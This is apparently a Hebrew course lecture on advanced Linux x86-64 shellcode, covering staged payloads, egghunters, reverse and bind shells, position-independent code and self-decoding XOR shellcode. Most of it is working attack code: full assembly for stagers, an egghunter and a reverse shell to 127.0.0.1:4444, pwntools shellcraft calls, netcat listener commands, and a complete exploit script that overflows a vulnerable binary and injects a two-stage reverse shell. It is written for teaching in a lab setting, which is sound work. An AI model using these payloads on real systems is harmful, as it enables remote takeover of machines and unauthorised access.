לדלג לתוכן

3.4 shellcode מתקדם הרצאה

בפרק הזה כבר כתבנו shellcode ידני שפותח shell (3.1), הזרקנו והרצנו אותו על מחסנית ניתנת להרצה (3.2), ולמדנו להתמודד עם קלט מוגבל שאוסר בתים או תווים מסוימים (3.3). כל אלה הניחו שני דברים נוחים: שיש לנו מספיק מקום להזריק את כל ה-shellcode במכה אחת, ושה-shell שנפתח יושב על אותו מסך שממנו הרצנו את התוכנית. במציאות שני הדברים האלה כמעט אף פעם לא נכונים. לפעמים הbuffer שאנחנו שולטים עליו הוא בן 40 בתים ו-execve שלם לא נכנס בו, לפעמים ה-shellcode נוחת באזור זיכרון אחר לגמרי מזה שאנחנו קופצים אליו, ולרוב היעד הוא שרת מרוחק שאין לנו אליו מסך בכלל.

בהרצאה הזו נלמד את הטכניקות שפותרות בדיוק את הבעיות האלה: שרשור שלבים (staging) כשהמקום צר, ציידי ביצים (egghunters) כשלא יודעים איפה נחת הpayload, מעטפת הפוכה ומעטפת מאזינה כדי לקבל shell דרך הרשת, ולבסוף העקרונות שמאפשרים ל-shellcode לרוץ בכל כתובת ואפילו לשנות את עצמו בזמן ריצה. ההנחות שנעבוד תחתן: נניח ASLR כבוי (או שאנחנו לא צריכים כתובות מוחלטות בכלל), ונאמר במפורש בכל טכניקה אם היא דורשת אזור זיכרון ניתן להרצה.

שרשור שלבים - staging

הבעיה: מצאנו overflow, אנחנו שולטים על ה-RIP, אבל אורך הקלט שאנחנו יכולים לכתוב קטן. נניח 40 בתים. reverse shell מלא הוא בערך 74 בתים, אז הוא פשוט לא נכנס. מה עושים?

הרעיון של staging הוא לחלק את ההתקפה לשני שלבים. השלב הראשון (stager) הוא קטנטן - כל תפקידו הוא לקרוא עוד בתים מאותו ערוץ שדרכו הגענו, לשים אותם באזור זיכרון ניתן להרצה, ולקפוץ אליהם. השלב השני (stage-2) הוא הpayload האמיתי והגדול, ואותו כבר אין הגבלת מקום לשלוח כי הוא נכנס דרך read רגיל ולא דרך הoverflow עצמה.

+-----------------------------------------------------------+
| stage 1 - stager (small, enters via the overflow)         |
|   read(fd, buf, N)  ->  fills buf with stage 2             |
|   jmp buf           ->  jumps to run stage 2                |
+-----------------------------------------------------------+
                     |
                     v  (after the overflow runs the stager, we send more bytes)
+-----------------------------------------------------------+
| stage 2 - the full payload (reverse shell / bind shell / anything) |
+-----------------------------------------------------------+

גרסה מינימלית של stager כשהמחסנית ניתנת להרצה

אם היעד עם NX כבוי (מחסנית מריצה, למשל שקומפלה עם -z execstack), ה-stager הכי קצר פשוט קורא את שלב 2 אל תוך המחסנית וקופץ אליה. fd = 0 הוא הקלט הסטנדרטי, ואם היעד הוא שרת, זה יהיה ה-fd של החיבור.

stager:
    xor  edi, edi          ; fd = 0 (stdin, or the socket's fd)
    mov  rsi, rsp          ; buf = top of the stack (executable here)
    push 1
    pop  rdx
    shl  rdx, 12           ; count = 0x1000, no zero byte
    xor  eax, eax          ; SYS_read = 0
    syscall                ; reads stage 2 into [rsp]
    jmp  rsi               ; jumps to run stage 2

שימו לב לטריק של shl rdx, 12 במקום mov edx, 0x1000. הערך 0x1000 מכיל בית אפס בבית התחתון, אז במקום לטעון אותו ישירות אנחנו טוענים 1 ומזיזים 12 ביט שמאלה. אותו הרגל שראינו ב-3.3. ה-stager הזה הוא כ-15 בתים בלבד ונכנס כמעט בכל buffer.

גרסה עמידה של stager עם mmap כשיש NX

אם המחסנית לא ניתנת להרצה, ה-stager חייב קודם ליצור לעצמו אזור RWX. עושים זאת עם mmap. זה גדול יותר (בערך 40 בתים), אבל עובד גם כשאין שום אזור מריץ מראש:

stager:
    ; page = mmap(0, 0x1000, PROT_RWX, MAP_PRIVATE|MAP_ANON, -1, 0)
    push 9
    pop  rax               ; SYS_mmap = 9
    xor  edi, edi          ; addr = 0
    push 1
    pop  rsi
    shl  rsi, 12           ; length = 0x1000
    push 7
    pop  rdx               ; prot = PROT_READ|WRITE|EXEC
    push 0x22
    pop  r10               ; flags = MAP_PRIVATE|MAP_ANONYMOUS
    xor  r8d, r8d
    dec  r8                ; fd = -1
    xor  r9d, r9d          ; offset = 0
    syscall                ; rax = address of the page
    mov  r13, rax          ; save the page's address
    ; read(fd, page, 0x1000)
    xor  edi, edi          ; fd = 0
    mov  rsi, r13          ; buf = the page
    push 1
    pop  rdx
    shl  rdx, 12           ; count = 0x1000
    xor  eax, eax          ; SYS_read = 0
    syscall
    jmp  r13               ; jumps to stage 2

חלופה כשכבר קיים אזור כתיב שאנחנו יודעים את כתובתו: קוראים אליו את שלב 2, מריצים עליו mprotect(addr, len, PROT_RWX) (קריאת מערכת 10) כדי לתת לו הרשאת הרצה, ואז קופצים. זו התבנית הנפוצה מול יעדים עם W^X שבהם עמוד אחד לא יכול להיות גם כתיב וגם מריץ בו-זמנית מרגע היצירה.

ציידי ביצים - egghunters

לפעמים הבעיה הפוכה: יש לנו הרבה מקום לpayload, אבל אנחנו לא יודעים באיזו כתובת הוא נחת. דוגמה קלאסית: התוכנית קוראת את הקלט הגדול שלנו לbuffer בערמה או במשתנה סביבה, אבל הoverflow שנתנה לנו שליטה על ה-RIP נמצאת במקום אחר לגמרי ומוגבלת בגודל. אנחנו יכולים לכתוב payload גדול, אבל אין לנו את הכתובת שלו כדי לקפוץ אליו.

הפתרון: egghunter. זהו קוד קטן שנכנס במקום הצר, וכל תפקידו הוא לסרוק את הזיכרון של התהליך ולחפש סימן ייחודי - הביצה (egg) - שהצמדנו לתחילת הpayload האמיתי. כשהוא מוצא את הביצה, הוא קופץ לקוד שמיד אחריה.

+----------------+        +------------------------------------+
| small egghunter|  --->  | scans all of memory until it finds the egg |
| (enters via the overflow) |        +------------------------------------+
+----------------+                       |
                                         v  (found!)
+----------------------------------------------------------------+
| egg | egg | ...the real large payload (reverse shell, for example)... |
+----------------------------------------------------------------+
       ^ jumps here, right after the two egg copies

הקושי היחיד הוא לסרוק זיכרון בלי לקרוס. אם ננסה לקרוא כתובת שאינה ממופה, נקבל SIGSEGV. הטריק הקלאסי (של skape) הוא להשתמש בקריאת המערכת access כגשש: מעבירים לה מצביע, ואם העמוד לא חוקי היא מחזירה EFAULT במקום להפיל את התהליך. ככה אפשר לבדוק כל עמוד לפני שנוגעים בו.

הנה egghunter ל-x86-64 שמשתמש בביצה 0x90509050 (מופיעה פעמיים ברצף לפני הpayload, 8 בתים):

egghunter:
    xor  rdx, rdx          ; rdx = current address, start from 0
next_page:
    or   dx, 0xfff         ; jump to the end of the current page
next_addr:
    inc  rdx               ; advance one byte
    lea  rdi, [rdx+4]      ; the address to check (the page of rdx+4)
    push 21
    pop  rax               ; SYS_access = 21
    syscall                ; access(rdi, ...) -> rax
    cmp  al, 0xf2          ; EFAULT (-14) in the low byte?
    jz   next_page         ; if so - the page is invalid, skip to the next page
    mov  eax, 0x90509050   ; the egg we're looking for
    mov  rdi, rdx          ; rdi = the current address
    scasd                  ; compares [rdi] to eax, rdi += 4
    jnz  next_addr         ; no match - continue to the next byte
    scasd                  ; also compares the second copy of the egg
    jnz  next_addr
    jmp  rdi               ; found! rdi already points past the two eggs, to the payload

כמה נקודות חשובות. ראשית, ה-egg מופיע פעמיים ברצף (8 בתים) כדי להימנע מהתאמות מקריות. שנית, שימו לב ש-0x90509050 מופיע פעם אחת גם בתוך ה-egghunter עצמו, בהוראת ה-mov eax. בגלל שאנחנו דורשים שני עותקים רצופים, הסורק לא יתפוס בטעות את ההוראה של עצמו. שלישית, EFAULT הוא 14, וקריאת המערכת מחזירה -14 שהוא 0xFFFFFFFFFFFFFFF2, ולכן הבית התחתון הוא 0xf2. הגרסה הקלאסית ל-x86-32 זהה ברעיון, רק עם int 0x80, מספר הקריאה 33 ל-access, ורגיסטרים צרים.

היתרון הגדול של egghunter: הוא לא מושפע מ-ASLR בכלל. לא משנה איפה נחת הpayload, אנחנו סורקים את כל מרחב הכתובות עד שמוצאים אותו. המחיר: הסריקה איטית יחסית (בית-בית), אבל בפועל זה עניין של שברירי שנייה.

מעטפת הפוכה - reverse shell

עד עכשיו ה-shellcode שלנו פתח shell מקומי (execve("/bin/sh")) שדיבר עם הקלט והפלט הסטנדרטיים. מול שרת מרוחק זה חסר תועלת: אין לנו מסך שם. במקום זה אנחנו רוצים reverse shell - ה-shellcode יוצר חיבור החוצה, חזרה למחשב שלנו, ומחבר את ה-shell לחיבור הזה.

הרצף הוא ארבע קריאות מערכת:

1. socket(AF_INET, SOCK_STREAM, 0)   -> gets an fd for a socket
2. connect(fd, {ip, port}, 16)       -> connects back to us
3. dup2(fd, 0/1/2)                    -> redirects stdin/stdout/stderr to the socket
4. execve("/bin/sh", 0, 0)           -> runs a shell that talks over the socket

השלב היחיד שדורש תשומת לב הוא בניית מבנה sockaddr_in על המחסנית. הוא 16 בתים:

struct sockaddr_in {
  sin_family  (2 bytes)  = AF_INET = 0x0002    -> in memory: 02 00
  sin_port    (2 bytes)  = 4444 in network order -> in memory: 11 5c
  sin_addr    (4 bytes)  = 127.0.0.1 in network order -> in memory: 7f 00 00 01
  sin_zero    (8 bytes)  = zero padding
}

שימו לב שהפורט וה-IP הם בסדר רשת (big-endian): 4444 הוא 0x115c, ובזיכרון הוא נשמר 11 5c. שמונת הבתים הראשונים בזיכרון הם 02 00 11 5c 7f 00 00 01, שזה כ-qword ב-little-endian הערך 0x0100007f5c110002. הנה ה-shellcode המלא ל-x86-64:

_start:
    ; fd = socket(AF_INET=2, SOCK_STREAM=1, 0)
    push 41
    pop  rax               ; SYS_socket = 41
    push 2
    pop  rdi               ; AF_INET
    push 1
    pop  rsi               ; SOCK_STREAM
    xor  edx, edx          ; protocol = 0
    syscall
    mov  rdi, rax          ; rdi = sockfd (save it)

    ; connect(sockfd, &sockaddr, 16)
    xor  eax, eax
    push rax               ; sin_zero = 8 zero bytes (high address)
    mov  rax, 0x0100007f5c110002
    push rax               ; family/port/ip (low address, rsp points here)
    mov  rsi, rsp          ; rsi -> sockaddr
    push 16
    pop  rdx               ; addrlen = 16
    push 42
    pop  rax               ; SYS_connect = 42
    syscall

    ; dup2(sockfd, 2), dup2(sockfd, 1), dup2(sockfd, 0)
    push 2
    pop  rsi               ; start from stderr
dup_loop:
    push 33
    pop  rax               ; SYS_dup2 = 33
    syscall                ; dup2(rdi=sockfd, rsi)
    dec  rsi
    jns  dup_loop          ; loops for 2,1,0 and then stops at -1

    ; execve("/bin//sh", 0, 0)
    xor  edx, edx          ; envp = NULL
    push rdx               ; zero qword - terminates the string
    mov  rbx, 0x68732f2f6e69622f  ; "/bin//sh"
    push rbx
    mov  rdi, rsp          ; rdi -> "/bin//sh"
    xor  esi, esi          ; argv = NULL
    push 59
    pop  rax               ; SYS_execve = 59
    syscall

הערה חשובה על בתים אפס: ה-shellcode הזה מכיל בתי אפס (בעיקר בתוך ה-immediate של sockaddr וב-"/bin//sh"). אם אתם מזריקים אותו דרך וקטור רגיש לאפסים (כמו strcpy), תצטרכו לקודד אותו כמו שראינו ב-3.3, או לבנות את הערכים בזמן ריצה. כרגע אנחנו מניחים וקטור שסובל אפסים (למשל read שקורא כמות קבועה של בתים).

ב-pwntools לא צריך לכתוב את כל זה ביד. המודול shellcraft מייצר reverse shell מוכן:

from pwn import *
context.arch = 'amd64'

# generates a chain of connect + dup + sh. Print to see which register holds the fd
sc = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
         shellcraft.amd64.linux.dupsh('rbp'))
print(disasm(sc))

מקשיבים בצד שלנו עם nc -lvnp 4444, מריצים את היעד, ומקבלים shell. תמיד כדאי להדפיס את הפלט של shellcraft ולוודא באיזה רגיסטר הוא משאיר את ה-fd לפני שמשרשרים את dupsh.

מעטפת מאזינה - bind shell

לפעמים אין לנו איך להתחבר החוצה מהיעד (חומת אש שחוסמת חיבורים יוצאים), אבל אנחנו כן יכולים להתחבר אליו. אז הופכים את הכיוון: ה-shellcode פותח סוקט, מאזין על פורט, ומחכה שאנחנו נתחבר. זה bind shell.

הרצף ארוך יותר:

1. socket(AF_INET, SOCK_STREAM, 0)
2. bind(fd, {INADDR_ANY, port}, 16)   -> binds to a local port (IP = 0.0.0.0)
3. listen(fd, 0)                       -> starts listening
4. client = accept(fd, 0, 0)           -> waits for us to connect, returns a new fd
5. dup2(client, 0/1/2)                 -> redirects the shell to the connection
6. execve("/bin/sh", 0, 0)

מספרי הקריאות ב-x86-64: bind = 49, listen = 50, accept = 43. ההבדל העיקרי מ-reverse shell הוא שב-sockaddr שדה ה-IP הוא INADDR_ANY (כלומר 0.0.0.0, כל הבתים אפס), ושאחרי accept ה-fd שאנחנו מפנים אליו הוא ה-fd החדש של הלקוח, לא של הסוקט המאזין. כתיבת כל זה ביד ארוכה, אז הנה הגרסה של pwntools שהיא הדרך המעשית:

from pwn import *
context.arch = 'amd64'

sc = asm(shellcraft.amd64.linux.bindsh(4444, 'ipv4'))
print(len(sc), 'bytes')

בצד שלנו מתחברים עם nc <target-ip> 4444 ומקבלים shell. הכלל לזכור: reverse shell מתחבר החוצה (טוב כשחומת אש חוסמת חיבורים נכנסים), bind shell מאזין ומחכה (טוב כשחוסמים חיבורים יוצאים). ברוב היעדים המודרניים reverse shell הוא הבחירה הבטוחה.

אי-תלות במיקום - position independence

כל ה-shellcode שכתבנו עד כה הוא כבר עצמאי במיקום, ולא במקרה: בנינו את כל הנתונים (המחרוזות, ה-sockaddr) על המחסנית בזמן ריצה, ולא הסתמכנו על אף כתובת מוחלטת. זו הדרישה הבסיסית - shellcode חייב לרוץ נכון בלי קשר לכתובת שבה נחת, כי כמעט אף פעם לא נדע אותה מראש.

אבל לפעמים אנחנו כן צריכים את הכתובת של נתון שמוטמע בתוך ה-shellcode עצמו (למשל מחרוזת ארוכה שלא נוח לבנות עם push). איך משיגים את הכתובת של משהו שנמצא "כאן", בלי לדעת מה הכתובת המוחלטת? יש שתי דרכים.

הדרך הקלאסית, שעובדת בכל ארכיטקטורה, היא jmp-call-pop. הוראת call דוחפת למחסנית את כתובת ההוראה הבאה - שהיא בדיוק הכתובת של הנתון שלנו:

    jmp  short getstr
back:
    pop  rsi               ; rsi = the address of the string (pushed by call)
    ; ... rsi is used here ...
getstr:
    call back              ; pushes the address of the string that follows the call
    db   "/bin/sh", 0

ב-x86-64 יש דרך נקייה יותר, כי הארכיטקטורה תומכת בכתובת יחסית ל-RIP באופן מובנה:

    lea  rsi, [rip + str]  ; rsi = the string's address, relative to RIP
    ; ...
str:
    db   "/bin/sh", 0

שתי הגרסאות נותנות את אותה תוצאה - כתובת מוחלטת נכונה של הנתון, בלי לקודד שום כתובת קבועה. הבחירה בין call/pop ל-lea rip-relative היא בעיקר עניין של תאימות: אם אתם צריכים shellcode שרץ גם ב-32 ביט, call/pop הוא הבטוח.

קוד שמשנה את עצמו - self-modifying code

הטכניקה האחרונה מחברת את הכל. ב-3.3 ראינו שלפעמים הקלט מוגבל - אסור בתים אפס, או מותר רק תווים מודפסים, או רק אלפאנומריים. shellcode אמיתי של execve כמעט תמיד מפר את ההגבלות האלה. הפתרון: מקודדים את ה-shellcode ה"אמיתי" כך שהוא כן עומד בהגבלה, ומצמידים לו קדימה מפענח (decoder) קטן שכן עומד בהגבלה בעצמו. בזמן ריצה המפענח משחזר את הקוד המקורי בזיכרון - כלומר, כותב על עצמו - ואז נופל ישר לתוכו.

הנה מפענח XOR פשוט ל-x86-64. הוא מפענח את הpayload המקודד בעזרת מפתח קבוע, במקום, ואז קופץ אליו:

decoder:
    jmp  short call_enc
decode:
    pop  rdi               ; rdi = address of the encoded payload
    push rdi               ; save the start to the stack
    xor  ecx, ecx
    mov  cl, PAYLOAD_LEN   ; length of the encoded payload
.loop:
    xor  byte [rdi], 0xAA  ; decodes one byte in place (key 0xAA)
    inc  rdi
    loop .loop             ; loops PAYLOAD_LEN times (rcx)
    ret                    ; pops the start address -> jumps to the decoded code
call_enc:
    call decode            ; pushes the address of the encoded data that follows
encoded:
    ; the encoded bytes sit here (real execve, each byte XOR 0xAA)

הזרימה מחוכמת: ה-call decode דוחף למחסנית את כתובת encoded. בתוך decode אנחנו שולפים אותה ל-rdi, דוחפים אותה בחזרה (למחסנית) כדי לשמור, מפענחים את כל הבתים במקום, ואז ret שולף את הכתובת השמורה וקופץ ל-encoded - שעכשיו כבר מכיל את הקוד המקורי המפוענח. פשוט ונקי מכתובות מוחלטות.

חשוב מאוד להבין את התנאי: קוד שמשנה את עצמו דורש שאזור הזיכרון יהיה גם כתיב וגם ניתן להרצה (RWX). מול יעד עם W^X (עמוד לא יכול להיות W ו-X בו-זמנית) התבנית הזו נכשלת, ואז מפענחים אל תוך אזור RWX חדש שיצרנו עם mmap - בדיוק כמו ב-stager. עוד עדינות: ב-x86 המטמון של ההוראות (icache) קוהרנטי, אז שינוי בזיכרון נראה מיד למעבד. בארכיטקטורות כמו ARM זה לא מובן מאליו, ותצטרכו לרוקן את המטמון אחרי הכתיבה, אחרת המעבד עלול להריץ את הבתים הישנים.

שרשור הכל יחד - exploit skeleton

נחבר את staging לpayload אמיתי בתרחיש מלא. נניח בינארי vulnerable vuln שקורא קלט לbuffer קטן על המחסנית, המחסנית ניתנת להרצה (קומפל עם -z execstack -fno-stack-protector -no-pie), ASLR כבוי, וכתובת הbuffer ידועה. הbuffer קטן מכדי להכיל reverse shell שלם, אז נשתמל ב-stager: הoverflow מריצה את ה-stager, וה-stager קורא את שלב 2 (ה-reverse shell) דרך אותו stdin וקופץ אליו.

from pwn import *

context.arch = 'amd64'
context.binary = elf = ELF('./vuln')

# stage 1 - small stager: read(0, rsp, 0x1000); jmp rsp
stage1 = asm('''
    xor  edi, edi
    mov  rsi, rsp
    push 1
    pop  rdx
    shl  rdx, 12
    xor  eax, eax
    syscall
    jmp  rsi
''')

# stage 2 - the large payload: reverse shell
stage2 = asm(shellcraft.amd64.linux.connect('127.0.0.1', 4444) +
             shellcraft.amd64.linux.dupsh('rbp'))

offset  = 40                 # distance from the start of the buffer to the return address (from cyclic)
buf_addr = 0x7fffffffe010    # address of the buffer (ASLR off) - stage1 runs from here

p = process('./vuln')
# the overflow: stage1 at the start of the buffer, padding, then overwriting RIP with the buffer's address
payload  = stage1
payload  = payload.ljust(offset, b'\x90')
payload += p64(buf_addr)
p.sendline(payload)          # runs stage1

# now stage1 is waiting in read. send it stage2 over the same channel
p.send(stage2)
p.interactive()              # get a shell from the nc listener

מקשיבים עם nc -lvnp 4444 לפני ההרצה. ההנחות כאן מפורשות: מחסנית מריצה (NX כבוי), ASLR כבוי כדי שכתובת הbuffer תהיה קבועה, ובלי canary. ברגע שנוסיף NX נחזור ל-stager מבוסס mmap, וברגע שנוסיף ASLR נצטרך leak כתובת (פרק 4) או egghunter שלא צריך כתובת בכלל.

סיכום

  • שרשור שלבים - staging: כשמקום הinjection קטן, מזריקים stager זעיר שקורא את הpayload הגדול לאזור ניתן להרצה וקופץ אליו. גרסה מינימלית קוראת אל המחסנית המריצה, גרסה עמידה יוצרת אזור RWX עם mmap (או mprotect על אזור קיים).
  • ציידי ביצים - egghunters: כשלא יודעים איפה נחת הpayload, סורקים את הזיכרון אחרי סימן ייחודי (egg) שהצמדנו לpayload. משתמשים ב-access כדי לא לקרוס על עמודים לא ממופים. חסין ל-ASLR לחלוטין.
  • מעטפת הפוכה - reverse shell: socket + connect + dup2 + execve, מתחברת חזרה אלינו. מתאים כשחוסמים חיבורים נכנסים.
  • מעטפת מאזינה - bind shell: socket + bind + listen + accept + dup2 + execve, מאזינה על פורט. מתאים כשחוסמים חיבורים יוצאים.
  • אי-תלות במיקום: בונים נתונים על המחסנית, ולכתובת של נתון מוטמע משתמשים ב-jmp/call/pop (כל ארכיטקטורה) או ב-lea יחסית ל-RIP (x86-64).
  • קוד שמשנה את עצמו: מפענח קטן שעומד בהגבלות הקלט משחזר בזמן ריצה payload מקודד. דורש RWX, ובמעבדים לא-x86 גם רענון של מטמון ההוראות.
  • כל הטכניקות האלה מרכיבות את הגשר בין shellcode "מעבדה" ל-shellcode שעובד על יעד אמיתי, צר ומרוחק.